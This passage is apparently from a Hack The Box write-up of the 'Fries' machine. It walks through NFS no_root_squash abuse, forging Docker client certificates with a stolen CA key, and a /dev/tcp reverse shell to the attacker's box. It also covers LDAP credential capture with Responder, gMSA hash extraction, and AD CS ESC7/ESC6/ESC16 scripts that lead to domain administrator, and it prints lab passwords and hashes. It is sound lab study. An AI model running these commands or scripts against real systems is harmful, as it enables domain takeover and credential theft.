pipx install git+https://github.com/hvs-consulting/nfs-security-tooling.gitRun an export check and filehandle analysis with the nfs_analyze module:
# root priv required to run tool on attacker side (for arch linux)
su root
nfs_analyze 192.168.100.2 --check-no-root-squashNo root squash, as we already knew:
Checking no_root_squash
Export no_root_squash
/srv/web.fries.htb DISABLEDThen the magic happens — nfs_analyze crawls outside the export and grabs the root filesystem handle:

nfs_analyze broke OUT of the export, climbed up to the filesystem root (/), reading /etc/shadow as root:
root:$y$j9T$yqbmFwMbHh7qoaRaY3jx..$FMFv9upB20J4yPWwAJxndkOA4zzrn5/Udv4BF9LbLq/:20239:0:99999:7:::
svc:$y$j9T$Y7j3MSqEJTcNTqSSVJRS2.$h0AFlCXKB9V0PZ.BIyZKSGR6WFJWlxIRiqK.JLOB4PD:20238:0:99999:7:::That $y$ prefix is yescrypt — but tough to crack, not worth bruteforcing.
Root Filesystem Abuse
nfs_analyze provides the file handle:
0100070201000a00000000008a01da16c18a400cbc9b37e3567d3fba02000000000000000200000000000000In Linux, it's the universal pass to the filesystem when we have access permissions.
Next we can use the nfs_fuse module to mount NFSv3 export of the remote system using that handle.
Prepare a local mount point:
mkdir -p /tmp/mThen mount using fuse_nfs with the filehandle mode:
fuse_nfs /tmp/m 192.168.100.2 \
--fake-uid \
--allow-write \
--manual-fh 0100070201000a00000000008a01da16c18a400cbc9b37e3567d3fba02000000000000000200000000000000-fake-uid: Pretend we are UID 0 on the server, when root squash is off.-allow-write: Remount filesystem as read-write from userland.-manual-fh: manually supply the root NFS filehandle we discovered.
After mount succeeds, we can walk the whole remote FS like it's local:

Now we can clone the certs from the mounted root filesystem:
# Make a loot directory
mkdir -p ./loot/certs
# Copy all certs/keys out
cp -r /tmp/m/srv/web.fries.htb/certs/* ./loot/certs/
# for convenience
chmod 777 ./loot/certs/*Result:
$ ll loot/certs
total 24K
-rwxrwxrwx 1 root root 1.7K Nov 23 18:58 ca-key.pem
-rwxrwxrwx 1 root root 1.1K Nov 23 18:58 ca.pem
-rwxrwxrwx 1 root root 1.1K Nov 23 18:58 server-cert.pem
-rwxrwxrwx 1 root root 940 Nov 23 18:58 server.csr
-rwxrwxrwx 1 root root 1.7K Nov 23 18:58 server-key.pem
-rwxrwxrwx 1 root root 205 Nov 23 18:58 server-openssl.cnfThat's the full TLS/CA material:
ca.pem– CA certificate (public)ca-key.pem– CA private key (the real crown)server-cert.pem– leaf cert for some service (e.g. web.fries.htb)server-key.pem– private key for that leaf certserver-openssl.cnf– OpenSSL config used to generate the aboveserver.csr– certificate signing request
Docker Authz
Docker Access
Running LinPEAS on the web container as svc reveals:

The wildcard here is snap-confine, Snap's sandbox wrapper — packed with capabilities, but not SUID-root, so unless the Snap version is vulnerable, it's a red herring.
More importantly: this box runs Docker.
svc@web:~$ ll /usr/lib/snapd/snap-confine
-rwxr-xr-x 1 root root 150824 Sep 18 08:00 /usr/lib/snapd/snap-confine*
svc@web:~$ ll $(which docker)
-rwxr-xr-x 1 root root 30915736 Sep 10 14:50 /usr/bin/docker*
svc@web:~$ ll /$(which dockerd)
-rwxr-xr-x 1 root root 74909824 Sep 10 14:50 /usr/bin/dockerd*And LinPEAS drops this gift:

Breakdown of the dockerd startup flags:
/usr/bin/dockerd \
-H fd:// --containerd=/run/containerd/containerd.sock \
--authorization-plugin=authz-broker \
--tlsverify --tlscacert=/etc/docker/certs/ca.pem \
--tlscert=/etc/docker/certs/server-cert.pem \
--tlskey=/etc/docker/certs/server-key.pem -H=127.0.0.1:2376- Docker daemon is running as root.
- It listens only on 127.0.0.1:2376 (TCP) with TLS.
- It uses
--authorization-plugin=authz-broker→ Docker API permissions depend on user identity (from client cert CN). - It uses:
--tlscacert=/etc/docker/certs/ca.pem--tlscert=/etc/docker/certs/server-cert.pem--tlskey=/etc/docker/certs/server-key.pem
This gives us the nuclear key: We own the CA — We can forge any client identity and escalate through Docker's AuthZ layer.
Docker AuthZ 101
Docker by default is "whoever connects, rules." Once you're on the socket or the API port, you're root.
To restrict that, Docker supports authorization plugins:
- AuthN: client cert (TLS)
- AuthZ: plugin intercepts the request, checks the cert CN → enforces policy
If Docker is started with:
dockerd --authorization-plugin=authz-broker ...Every API call (e.g., docker run, cp, exec) is sent to the plugin for a verdict.
Authz-broker
Docker here uses authz-broker — Twistlock's open-source reference plugin.
Behavior:
- AuthN: via TLS → identity =
CNfrom client certificate - AuthZ: policy-driven → plugin reads
policy.jsonmapping CNs to permissions
Found default policy file (/var/lib/authz-broker/policy.json) on the web container:
{"name":"policy_1", "users": ["svc"], "actions": ["container_list", "container_logs"]}
{"name":"policy_1", "users": ["sysadm"], "actions": ["container"], "readonly":true}
{"name":"policy_2", "users": ["root"], "actions": [""]}- svc → only container_list and container_logs allowed.
- sysadm → broader "container" actions (read-only but enough for docker cp).
- root → full control.
Our current identity (svc) is sandboxed. To pivot — we forge certs with CN = sysadm or root.
Cert Forgery
Docker authenticates clients via certs signed by ca.pem. We have:
ca.pem→ trusted CAca-key.pem→ private key of that CA
Inspect the legit server cert:
$ cd ./loot/certs
$ openssl x509 -in server-cert.pem -noout -text | grep -E 'Subject:|Issuer:'
Issuer: CN=DockerCA
Subject: CN=friesIt is a server cert (CN=fries) for the Docker host, and it chains to DockerCA.
We can use the CA keys from the NFS share to impersonate sysadm:
# 1) Generate key + CSR for sysadm
openssl req -new -newkey rsa:2048 -nodes \
-keyout sysadm-key.pem \
-out sysadm.csr \
-subj "/CN=sysadm"
# 2) Sign it with the stolen CA
openssl x509 -req \
-in sysadm.csr \
-CA ca.pem -CAkey ca-key.pem -CAcreateserial \
-out sysadm-cert.pem \
-days 365 -sha256Now we have a valid client cert for sysadm, accepted by the Docker daemon:

Use the forged certs to talk to Docker:
# @attacker: upload sysadmincerts to the web container
scp ca.pem sysadm-cert.pem sysadm-key.pem [email protected]:/tmp
(Friesf00Ds2025!!)
# @victim: interact with Docker over TLS
docker --tlsverify \
--tlscacert=/tmp/ca.pem \
--tlscert=/tmp/sysadm-cert.pem \
--tlskey=/tmp/sysadm-key.pem \
-H tcp://127.0.0.1:2376 \
psWe're in — full Docker control on host:

One of the containers is hosting PWM, our target AD-linked service. Time to extract volumes, copy sensitive files, or exec within.
Note: Using
sysadmgrants partial access (e.g.,docker cp,logs, inspect). Forge asrootfor full control — same method, different CN.
Contianers Root
Optionally, before we pivot deeper into the PWM container to exploit the Windows DC, we escalate — straight to root to any Docker containers, e.g., inside the web container / Linux host (reachable locally via 127.0.0.1).
We mint a root-level Docker client cert using the previously stolen CA:
# 1) Generate key + CSR for root
openssl req -new -newkey rsa:2048 -nodes \
-keyout root-key.pem \
-out root.csr \
-subj "/CN=root"
# 2) Sign it with the stolen CA
openssl x509 -req \
-in root.csr \
-CA ca.pem -CAkey ca-key.pem -CAcreateserial \
-out root-cert.pem \
-days 365 -sha256
# 3) upload root certs
scp ca.pem root-cert.pem root-key.pem [email protected]:/tmp
(Friesf00Ds2025!!)On the victim (web container), we define a wrapper function for authenticated Docker commands:
dkroot() {
docker --tlsverify \
--tlscacert=/tmp/ca.pem \
--tlscert=/tmp/root-cert.pem \
--tlskey=/tmp/root-key.pem \
-H tcp://127.0.0.1:2376 \
"$@"
}This allows us to cleanly reuse authenticated Docker commands — all as root, fully authorized.
Then grab the ID of the running web container at localhost:
WEB_CID=$(dkroot ps --filter "name=^web$" --format '{{.ID}}' | head -n 1)
Set up a listener on the attack box — Then execute a reverse shell into the web container (from the victim):
dkroot exec "$WEB_CID" /bin/bash -c 'bash -i >& /dev/tcp/10.10.8.12/60002 0>&1'Rooted:

Inside the container, environment variables reveal additional intel:
root@bfe752a26695:/app# env
HOSTNAME=bfe752a26695
PYTHON_VERSION=3.11.2
PWD=/app
PYTHON_SETUPTOOLS_VERSION=65.5.1
HOME=/root
LANG=C.UTF-8
GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696D
SHLVL=2
PYTHON_PIP_VERSION=22.3.1
PYTHON_GET_PIP_SHA256=394be00f13fa1b9aaa47e911bdb59a09c3b2986472130f30aa0bfaf7f3980637
PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/d5cb0afaf23b8520f1bbcfed521017b4a95f5c01/public/get-pip.py
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
_=/usr/bin/envThis is a hardened Python-based container, but still mounted under Docker's host namespace. We now have options:
- Escape the container (mount host root via privileged Docker ops)
- Write to the host filesystem via:
- this container's mount
- or the NFS primitive from earlier
Either way, we're positioned to compromise the Linux host, or anyone of those Docker containers — but not necessary for futher privesc to Windows DC, when we have full control over the PWM container.
ROOT
PWM
PWM 101
PWM (Password Manager) is a self-service portal deployed in front of LDAP/Active Directory environments. It facilitates:
- Password resets and unlocks
- Account policy enforcement
- Integration with AD via a bind account, typically something like
[email protected]
Implications:
- PWM stores credentials for a privileged LDAP service account
- It contains a web-based admin interface ("Configuration Manager")
- All sensitive configuration is stored locally — typically under
/configwithin the container
Key config artifacts:
PwmConfiguration.xml- Additional local DB state under
/config/LocalDB
Exfiltrating this directory = full insight into AD credentials, password policies, and PWM's internal control plane.
PWM Config Exfil
Use the previously defined dkroot() function to extract the container ID for PWM:
PWM_CID=$(dkroot ps --filter "name=^pwm$" --format '{{.ID}}' | head -n 1)Copy the full configuration directory out of the container:
dkroot cp $PWM_CID:/config /tmp/pwm_configStructure on victim:
svc@web:/tmp$ ls -lR /tmp/pwm_config/
/tmp/pwm_config/:
total 152
-rw-r--r-- 1 svc svc 149 Nov 23 20:49 applicationPath.lock
drwxr-xr-x 2 svc svc 4096 Nov 12 01:37 backup
drwxr-xr-x 3 svc svc 4096 Jun 1 02:03 LocalDB
drwxr-xr-x 2 svc svc 4096 Nov 23 20:48 logs
-rw-r--r-- 1 svc svc 134122 Nov 12 01:38 PwmConfiguration.xml
drwxr-xr-x 2 svc svc 4096 Jun 1 02:03 temp
/tmp/pwm_config/backup:
total 132
-rw-r--r-- 1 svc svc 134122 Nov 12 01:37 PwmConfiguration.xml-backup
...Total control. Pull it back to the attacker machine. Notice the backup configuration file: PwmConfiguration.xml-backup — this is the file that holds admin password hashes, LDAP bind info, and endpoint configuration:

$2y$→ bcrypt04→ cost factor (quite low, so cracking is cheap)
Dump the hash into a local file and unleash john:
cat > ph.txt << 'EOF'
$2y$04$W1TubX/9JAqpHlxx7xqXpesUMB2bJMV4dH/8pXbcul0NgA6ZexGyG
EOF
john --format=bcrypt \
--wordlist=~/wordlists/rockyou.txt \
ph.txtrockon! — password cracked.
Now log in to the PWM Configuration Manager at https://fries.htb/pwm/private/config/login. With the cracked password — full access:

LDAP Poisoning
We inspect PWM's configured LDAP permissions — especially for write access:

This line is devastating:
[User Password] – writeImplications:
- PWM authenticates to LDAP using a privileged service account (
svc_infra) - The password is submitted in plaintext every time
- PWM cannot cache or hash the LDAP bind password — it must reuse the same creds repeatedly
- LDAP "Proxy User" = bind identity → [email protected]
So if we can intercept LDAP requests, PWM will send the credentials to us.
In the PWM Configuration Editor, search for "LDAP URL" and change it to our attacker box:
ldap://10.10.8.12:389
Fire up Responder to intercept LDAP bind requests:
sudo responder -I tun0Trigger a connection by testing the new LDAP profile. PWM binds to our listener — and spills creds:

Output:
[LDAP] Cleartext Username : CN=svc_infra,CN=Users,DC=fries,DC=htb
[LDAP] Cleartext Password : m6tneOMAh5p0wQ0dConfirm creds with NetExec:
$ nxc ldap fries.htb -u 'svc_infra' -p 'm6tneOMAh5p0wQ0d'
LDAP 10.129.122.189 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fries.htb) (signing:None) (channel binding:Never)
LDAP 10.129.122.189 389 DC01 [+] fries.htb\svc_infra:m6tneOMAh5p0wQ0d
$ nxc smb fries.htb -u 'svc_infra' -p 'm6tneOMAh5p0wQ0d'
SMB 10.129.122.189 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:fries.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.122.189 445 DC01 [+] fries.htb\svc_infra:m6tneOMAh5p0wQ0d
$ nxc winrm fries.htb -u 'svc_infra' -p 'm6tneOMAh5p0wQ0d'
WINRM 10.129.122.189 5985 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fries.htb)
WINRM 10.129.122.189 5985 DC01 [-] fries.htb\svc_infra:m6tneOMAh5p0wQ0dExcept no WinRM access yet.
BloodHound
We now own domain credentials with LDAP bind permissions.
Time to map AD using BloodHound:
bloodhound-python \
-dc 'dc01.fries.htb' -d 'fries.htb' \
-u 'svc_infra' -p 'm6tneOMAh5p0wQ0d' \
-ns $targetIp --zip -c All The escalation path is straight forward:

ReadGMSAPassword → GMSA_CA_PROD$ → REMOTE MANAGEMENT USER.
ReadGMSAPassword
Exploit GMSA password retrieval with NetExec:
$ nxc ldap fries.htb -u 'svc_infra' -p 'm6tneOMAh5p0wQ0d' --gmsa
LDAP 10.129.122.189 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fries.htb) (signing:None) (channel binding:Never)
LDAP 10.129.122.189 389 DC01 [+] fries.htb\svc_infra:m6tneOMAh5p0wQ0d
LDAP 10.129.122.189 389 DC01 [*] Getting GMSA Passwords
LDAP 10.129.122.189 389 DC01 Account: gMSA_CA_prod$ NTLM: fc20b3d3ec179c5339ca59fbefc18f4a PrincipalsAllowedToReadPassword: svc_infraExtracted NTLM hash — no cracking needed.
WinRM
Target domain does not restrict NTLM auth over WinRM.
evil-winrm -i FRIES.HTB -u 'gMSA_CA_prod$' -H fc20b3d3ec179c5339ca59fbefc18f4a And it works — this gMSA is a member of Remote Management Users, although this is an unusual case for a service account:

Access granted to DC01 — which resolves to 192.168.100.1 internally.
AD CS
Once inside, pivot to group analysis:
PS C:\Users\gMSA_CA_prod$> whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
=========================================== ================ ============================================ ==================================================
FRIES\Domain Computers Group S-1-5-21-858338346-3861030516-3975240472-515 Mandatory group, Enabled by default, Enabled group
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Certificate Service DCOM Access Alias S-1-5-32-574 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label S-1-16-8448Key membership flags:
- The victim gMSA is expected to be a
Domain Computersobject. Machine accounts can often:- Request Kerberos tickets
- Perform LDAP binds
- Authenticate for certain machine-level permissions
Certificate Service DCOM Accessis a golden flag. This means the account has permission to:- Access the ADCS DCOM interface
- Which is required for ESC7, ESC6, and sometimes ESC1/ESC2 depending on templates
This account is primed to:
- Request certificates
- Access the ADCS DCOM endpoint
- Potentially enroll as other users or machines
Certipy
To enumerate Active Directory Certificate Services (AD CS) with certipy, we first grab a Kerberos TGT:
./ft.sh fries.htb \
getTGT.py 'fries.htb/gMSA_CA_prod$' \
-hashes :fc20b3d3ec179c5339ca59fbefc18f4a \
-dc-ip $targetIp
export KRB5CCNAME=gMSA_CA_prod\$.ccacheError Countermeasure:
KRB_AP_ERR_SKEWKerberos doesn't tolerate time drift. If authentication fails due to skew, realign time using
faketime— as demonstrated Certified writeup — or deploy a shell wrapper (ft.sh) mentioned in the Haze writeup, tailored for Arch Linux. That's my play here.
With our TGT, we pivot to certificate enumeration:
./ft.sh fries.htb \
certipy find \
-u 'gMSA_CA_prod$' -k -no-pass \
-target dc01.fries.htb -dc-ip $targetIp \
-enabled -vulnerableCertipy output:
{
"Certificate Authorities": {
"0": {
"CA Name": "fries-DC01-CA",
"DNS Name": "DC01.fries.htb",
"Certificate Subject": "CN=fries-DC01-CA, DC=fries, DC=htb",
"Certificate Serial Number": "26117C1FFA5705AF443B7E82E8C639A9",
"Certificate Validity Start": "2025-11-18 05:39:18+00:00",
"Certificate Validity End": "3024-05-19 14:11:46+00:00",
"Web Enrollment": {
"http": {
"enabled": false
},
"https": {
"enabled": false,
"channel_binding": null
}
},
"User Specified SAN": "Disabled",
"Request Disposition": "Issue",
"Enforce Encryption for Requests": "Enabled",
"Active Policy": "CertificateAuthority_MicrosoftDefault.Policy",
"Permissions": {
"Owner": "FRIES.HTB\\Administrators",
"Access Rights": {
"1": [
"FRIES.HTB\\gMSA_CA_prod",
"FRIES.HTB\\Domain Admins",
"FRIES.HTB\\Enterprise Admins",
"FRIES.HTB\\Administrators"
],
"512": [
"FRIES.HTB\\gMSA_CA_prod",
"FRIES.HTB\\Domain Users",
"FRIES.HTB\\Domain Computers",
"FRIES.HTB\\Authenticated Users"
],
"2": [
"FRIES.HTB\\Domain Admins",
"FRIES.HTB\\Enterprise Admins",
"FRIES.HTB\\Administrators"
]
}
},
"[+] User Enrollable Principals": [
"FRIES.HTB\\Authenticated Users",
"FRIES.HTB\\Domain Computers",
"FRIES.HTB\\Domain Users",
"FRIES.HTB\\gMSA_CA_prod"
],
"[+] User ACL Principals": [
"FRIES.HTB\\gMSA_CA_prod"
],
"[!] Vulnerabilities": {
"ESC7": "User has dangerous permissions."
}
}
},
"Certificate Templates": "[!] Could not find any certificate templates"
}ESC Chains
ESC7
Let's break the core:
The "Access Rights" numbers are CA access masks:
1→ManageCA— full CA control (edit flags, cert policy, registry keys…)2→ Manage Certificates512→Enroll— permission to request certificates
Also note:
- SAN: Disabled (
"User Specified SAN": "Disabled") - Templates: None found (
"[!] Could not find any certificate templates")
We cannot currently enroll to a template, but we control the CA — which means we can enable SAN injection or create malicious templates.
ESC6
With powerful ESC7 primitive, it's trivial to pivot towards other ESCs.
SAN
From the JSON output, we notice that SAN is disabled — a SAN (Subject Alternative Name) is a field inside an X.509 certificate that tells the world:
"I am also known as X."
Normally, we use SANs for things like:
- DNS names (
DNS:web.fries.htb) - IPs (
IP:192.168.100.1) - UPN identities (
UPN:[email protected])
When abusing AD CS, we usually manipulate UPN SANs. Because Windows trusts the UPN inside a certificate to map a certificate to an AD account during PKINIT (Kerberos certificate logon) — that's the concept similar to Linux "namespace" we used to mention a lot in previous writeups.
So if we can forge:
UPN = [email protected]…then that certificate represents Administrator during authentication — IF Windows accepts it.
In our case, SAN is disabled. But with an ESC7 primitive, we can first pivot to ESC6 for example, which CA is configured to honor SANs provided in the request attributes (EDITF_ATTRIBUTESUBJECTALTNAME2) — if we can manipulate this flag with a desired value, we can request a cert for any UPN / DNS name, e.g. [email protected].
Registry Flag
Certificate Authorities (CAs) normally decide whether users are allowed to supply SANs.
Microsoft uses a registry flag:
EDITF_ATTRIBUTESUBJECTALTNAME2When this flag is enabled, the CA allows requesters to specify SANs inside a Request Attributes field:
certreq -submit -attrib "san:[email protected]"This is normally blocked unless the template explicitly says:
"Enrollee supplies subject"
But with ESC6, CA-wide override says:
"Hell yeah, I'll take any SAN you ask for."
This is a dangerous misconfiguration because: Any user who has enrollment rights on any template can request a certificate that claims to be ANY identity in the domain.
Before mid-2022:
- Windows DCs mapped certificate → identity using SAN's UPN
- If SAN said administrator, we authenticated as administrator
Therefore ESC6 = INSTANT WIN.
SID Security Extension
After 2022, Microsoft added a protection: SID Security Extension (szOID_NTDS_CA_SECURITY_EXT)
This extension stores:
- The real SID of the requester (the authentic SID)
- Cryptographically protected by the CA
KDC rule (after patch):
If a certificate contains the SID Security Extension, KDC will ignore any SAN UPN or SAN SID. The requester's real SID always wins.
This happens a lot during previous writeups, which breaks the old ESC6 attack.
For example, if we're S-1-5-21-...-1106 and we attempt to request:
UPN = [email protected]
SID = S-1-5-21-...-500The certificate still contains:
Security Extension SID: S-1-5-21-...-1106So the KDC says:
"You look like you want to be Administrator, but your certificate says you REALLY are SID 1106. Get out."
So to leverage ESC6, we need more attack vectors.
ESC16
To bypass SID security extension, we need it gone.
A SID URL looks like:
URL=tag:microsoft.com,2022-09-14:sid:S-1-5-21-...-500When SID security extension is missing: Windows uses the attacker-provided SID from the SAN URL.
Two paths:
- ESC9: Template disables SID extension (
CT_FLAG_NO_SECURITY_EXTENSION) - ESC16: CA globally disables SID extension ("Security extension disabled at CA level")
As CA admins (via ESC7), we can flip ESC16 with:
HKLM\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\\PolicyModules\CertificateAuthority_MicrosoftDefault.PolicySet the DisableExtensionList to include:
2.5.29.17Which disables:
2.5.29.17→ SAN (Subject Alternative Name)1.3.6.1.4.1.311.25.2→szOID_NTDS_CA_SECURITY_EXT
Now, no SID extension will be embedded — and Windows will fall back to SAN entirely.
Final
Obviously, it's much easier to leverage ESC16 as the alternative since we own the super CA level priv via the ESC7 primitive.
So the chain summary:
ESC7 → Enable ESC6 (SAN override)
→ Disable SID extension (ESC16)
→ Inject UPN + SID via SAN
→ Cert valid for AdministratorExploit
ESC7 | SAN Enable
With ESC7, we wield full ManageCA rights. We abuse it by toggling the EDITF_ATTRIBUTESUBJECTALTNAME2 flag, which authorizes clients to specify Subject Alternative Names (SANs). That sets up the ESC6 condition.
From the gMSA_CA_prod$ interactive shell:
# editFlag.ps1
# 1. Instantiate the CA Admin COM object
$CA = New-Object -ComObject CertificateAuthority.Admin
# 2. Point it at the CA config string
$Config = "DC01.fries.htb\fries-DC01-CA"
# 3. (Optional) Read current EditFlags (just to see)
$current = $CA.GetConfigEntry( `
$Config, `
"PolicyModules\CertificateAuthority_MicrosoftDefault.Policy", `
"EditFlags" `
); $current
# confirm: 1114446
# 4. Add EDITF_ATTRIBUTESUBJECTALTNAME2 flag (262144/ 0x00040000 / 0b01000000000000000000)
$new = $current -bor 0x00040000; $new
# confirm: 1376590
# 5. Apply modification with CA level priv
$CA.SetConfigEntry($Config, "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy", "EditFlags", $new)
# 6. Restart CA service
Restart-Service certsvc -Force
# Verify
Write-Host "[+] Done. Verifying on new flag value:"
certutil -config "DC01.fries.htb\fries-DC01-CA" -getreg policy\EditFlagsConfirm EDITF_ATTRIBUTESUBJECTALTNAME2 is set:

ESC16 | SID Disable
To exploit ESC6, we need to eliminate the SID Security Extension (ESC16). It normally acts as a failsafe, embedding the real requester's SID into every cert, which the KDC then validates.
We nuke it:
# killSid.ps1
# 1. Create an instance of the Certificate Services Admin COM object.
# This object lets us read/modify CA configuration (policy, flags, registry-backed settings, etc).
$CA = New-Object -ComObject CertificateAuthority.Admin
# 2. This is the CA "config string": "<CAHost>\<CAName>"
# can see the same string in certsrv.msc or via `certutil -config - -ping`.
$Config = "DC01.fries.htb\fries-DC01-CA"
# 3. DisableExtensionList controls which certificate extensions the CA will NOT include
# in issued certificates. We are telling the CA to OMIT the NTDS CA Security Extension:
# OID 1.3.6.1.4.1.311.25.2 == szOID_NTDS_CA_SECURITY_EXT
#
# That extension normally carries the real object SID of the requester.
# Removing it (ESC16) forces Windows to fall back to ESC6
$CA.SetConfigEntry(
$Config,
"PolicyModules\CertificateAuthority_MicrosoftDefault.Policy", `
"DisableExtensionList",
"1.3.6.1.4.1.311.25.2"
)
# 4. Restart the CA service
Restart-Service certsvc -Force
# Verify
Write-Host "[+] Done. Verifying on new reg value:"
certutil -config "DC01.fries.htb\fries-DC01-CA" -getreg policy\DisableExtensionListVerify by retrieving the registry value:

Now the CA omits the SID security extension — the last line of defense. The battlefield is wide open.
ESC6 | SAN Forgery
As we already knew gMSA_CA_prod$ cannot enroll on any templates. But we can target the compromised svc_infra, who holds Domain Users membership — and that's all we need (or we can use the PWM LDAP privs to hijack accounts).
Use certipy find to verify enrollment access:
certipy find \
-u 'svc_infra' -p 'm6tneOMAh5p0wQ0d' \
-target dc01.fries.htb -dc-ip $targetIp \
-enabledSee the User template:
"10": {
"Template Name": "User",
"Display Name": "User",
"Certificate Authorities": [
"fries-DC01-CA"
],
"Enabled": true,
"Client Authentication": true,
...
"Permissions": {
"Enrollment Permissions": {
"Enrollment Rights": [
"FRIES.HTB\\Domain Admins",
"FRIES.HTB\\Domain Users",
"FRIES.HTB\\Enterprise Admins"
]
},
"Object Control Permissions": {
"Owner": "FRIES.HTB\\Enterprise Admins",
"Full Control Principals": [
"FRIES.HTB\\Domain Admins",
"FRIES.HTB\\Enterprise Admins"
],
"Write Owner Principals": [
"FRIES.HTB\\Domain Admins",
"FRIES.HTB\\Enterprise Admins"
],
"Write Dacl Principals": [
"FRIES.HTB\\Domain Admins",
"FRIES.HTB\\Enterprise Admins"
],
"Write Property Enroll": [
"FRIES.HTB\\Domain Admins",
"FRIES.HTB\\Domain Users",
"FRIES.HTB\\Enterprise Admins"
]
}
},
"[+] User Enrollable Principals": [
"FRIES.HTB\\Domain Users"
],
"[*] Remarks": {
"ESC2 Target Template": "Template can be targeted as part of ESC2 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1.",
"ESC3 Target Template": "Template can be targeted as part of ESC3 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1."
}
}We confirm the User template is enabled, and svc_infra has enrollment rights:
Domain Usersallowed- Key usages include Client Authentication
Now weaponize it to exploit ESC6 by forcefully specifying the Administrator SID inline:
certipy req \
-u '[email protected]' -p 'm6tneOMAh5p0wQ0d' \
-dc-ip $targetIp -target dc01.fries.htb \
-ca 'fries-DC01-CA' \
-template 'User' \
-upn '[email protected]' \
-sid 'S-1-5-21-858338346-3861030516-3975240472-500'
The cert now claims to be Administrator. Authenticate with the forged certificate:
./ft.sh fries.htb \
certipy auth -pfx administrator.pfx -dc-ip $targetIp
Domain Administrator confirmed. PTH logon with evil-winrm:
evil-winrm -i FRIES.HTB -u 'administrator' -H a773cb05d79273299a684a23ede56748
Rooted.
Comments | NOTHING